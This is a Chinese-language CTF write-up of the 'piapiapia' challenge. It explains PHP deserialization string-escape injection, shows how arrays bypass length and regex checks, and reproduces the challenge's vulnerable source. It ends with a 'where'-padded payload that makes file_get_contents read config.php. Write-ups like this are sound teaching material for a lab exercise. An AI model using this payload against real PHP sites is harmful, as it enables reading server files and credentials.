piapiapia
技巧补充
字符串逃逸
<?php
class Name{
public $username='admin';
public $password='100';
}
$a = new Name;
echo serialize($a);
?>
输出结果为
O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";s:3:"100";}
对 password 前一个属性 username 进行控制
<?php
class Name{
public $username='admin";s:8:"password";s:3:"101";}';
public $password='100';
}
$a = new Name;
echo serialize($a);
?>
输出结果为
O:4:"Name":2:{s:8:"username";s:33:"admin";s:8:"password";s:3:"101";}";s:8:"password";s:3:"100";}
即完成了通过控制 username 对 password 的控制(admin属性名的长度会出错,实际显示的是包含输入的内容在内的总长度)
因此,若想要成功偷天换日用隔壁属性控制我们要控制的属性,就要想办法把数据变成合法的反序列化数据
字符串逃逸攻击可以形成的条件就是,对serialize()之后值进行过滤时,会造成某字段字符个数增多或者减少
当造成字符串增多时
示例:
<?php
function filter($str){
return str_replace('x','yy',$str);
}
$username = "Kobe";
$password = "manba";
$user = array($username,$password);
$str1 = filter(serialize($user));
var_dump(unserialize($str1));
?>
正常情况下反序列化字符串 $str1 的值为a:2:{i:0;s:4:”kobe”;i:1;s:5:”manba”;}
假如把username的值变为 kobexxx,当完成序列化,filter函数处理后的结果为 a:2:{i:0;s:7:”kobeyyyyyy”;i:1;s:6:”biubiu”;}
多了3个,数据有问题的
那干脆将计就计,就让他多,咱利用他会变多的特点,结合上面的示例,我们就利用 kobe 控制 manba
给赋值成 a:2:{i:0;s:24:”kobe”;i:1;s:6:”123456″;}”;i:1;s:6:”biubiu”;}
多出来的部分是 “;i:1;s:6:”123456”;} 数一下,20个字符串
如果就到此为止,数据还是错的,s:24会导致 kobe 后面还会再找下去,找齐 24 个,然后序列化数据的语法就错了
在 kobe 后面加上 10 个 x 就行了(对上面代码而言)再被替换成yy的时候,就会多出来20个字节的空间,把我们想控制的值挤到合法的位置上去
数组绕过字符串长度限制
参考这张表
md5(Array()) = null
sha1(Array()) = null
ereg(pattern,Array()) =null
preg_match(pattern,Array()) = false
strcmp(Array(), “abc”) =null
strpos(Array(),“abc”) = null
strlen(Array()) = null
可见字节长度限制对数组类型的直接就木大了
开始解题
猜测是否有源码泄露,访问/www.zip (目录扫描也可以)
得到源码
代码批注(只节选php部分)
config.php
<?php
$config['hostname'] = '127.0.0.1'; //要求本地访问aa
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = ''; //flag在这
?>
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo'])); //危险函数,pop终点
?>
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); //可用数组属性进行绕过
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname']; //利用前一条属性进行反序列化注入
$profile['photo'] = 'upload/' . md5($file['name']); //photo经过md5,无法直接利用进行攻击
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
分析
config.php当中有flag,但貌似要读到 flag 需要本地进行访问(127.0.0.1)
初步推测有 ssrf 攻击的可能性(复习:ssrf 服务端请求伪造)
继续审计代码,发现危险函数 file_get_contents() 可以用来实现本机读文件,只需要控制photo的值就可以
那么本题其实为利用 php 反序列化结合字符串逃逸进行危险函数的控制
pop链
终点为函数 file_get_contents() 跟踪一下函数的photo值
photo 是 $profile 数组的一个键值,继续跟踪数组,观察到
$profile=$user->show_profile($username);
$profile 数组是从 user 类的 show_profile 方法传过来的,并且这个方法传入了 $username
继续跟踪 show_profile 方法(切换到class.php)
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
该方法使用了继承 mysql 这个父类来的 filter() 方法**(划重点,之后起到大作用)**还有 select() 方法
继续跟踪这两个方法
filter():
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
审计,功能为对 sql 语句的关键字 (select insert update delete where) 进行正则匹配并替换为 hacker**(伏笔)**
select():
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
这个方法是一句 sql 语句,查询的,那自然要找什么时候插入的数据,直接再检索 insert 或者 update(其实就在下面)
找到 update() 的调用地方(insert没用)
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
在 user 类的 update_profile() 里进行了调用,同样进行了 filter() 函数调用,进行过滤
在 class.php 里的跟踪就到头了,该去找实际调用的起点了
来到update.php
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname']; //利用前一条属性进行反序列化注入
$profile['photo'] = 'upload/' . md5($file['name']); //photo经过md5,无法直接利用进行攻击
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
这里对 $profile 进行了赋值,并在之后调用了 update_profile()
接下来只需要对 photo 的值进行控制,就可以利用整条链条达成攻击
but,photo的传参经过了md5,无法直接利用
这里用到了php反序列化的注入(在上一条属性值后直接写入下一个属性序列化之后的值)
要控制的属性的前一个属性为注入点,对 nickname 属性进行控制
payload部分为
";}s:5:"photo";s:10:"config.php";}
即可绕过 md5 的限制实现对 photo 的控制
又 but,nickname 属性对内容字节长度进行了限制,幸好技高一筹,用数组绕过
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname'); //可用数组属性进行绕过
由此可见两个限制都被攻破,可直接利用链条进行攻击不会成功,因为进行字符串逃逸后属性名的长度会变化,在这里不能浑水摸鱼
那么不得不提刚刚的 filter() 方法,在对关键字替换时产生了一个可以利用的点
select insert update delete 这几个关键词都是6个字节,只有 where 是五个
而最终替换成的 hacker 是6 个,并且替换是全部进行替换
那么在对 where 进行替换时就会多产生一个字符出来
上述的内容一共为 34 个字符,在之后的反序列化数据中会使属性名长度产生 34 的误差,因此把属性名设定为 34 个where,便可消除误差
那么payload就变为了
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere}";}s:5:"photo";s:10:"config.php";}
这里多一个 } 是因为数组类型的变量在反序列化后还会包一层{}
之后直接注册登录,再来到update.php(传参点所在),随便输入,点击提交抓包,修改nicname为数组类型,写入 payload,发包
返回了一个页面。因为photo不再是图片,网页并不能成功渲染,那就查看源码
$photo = base64_encode(file_get_contents($profile['photo']));
返回这里查看,经过了 base64 ,将源码里面返回的photo值拿去解码即可获得flag
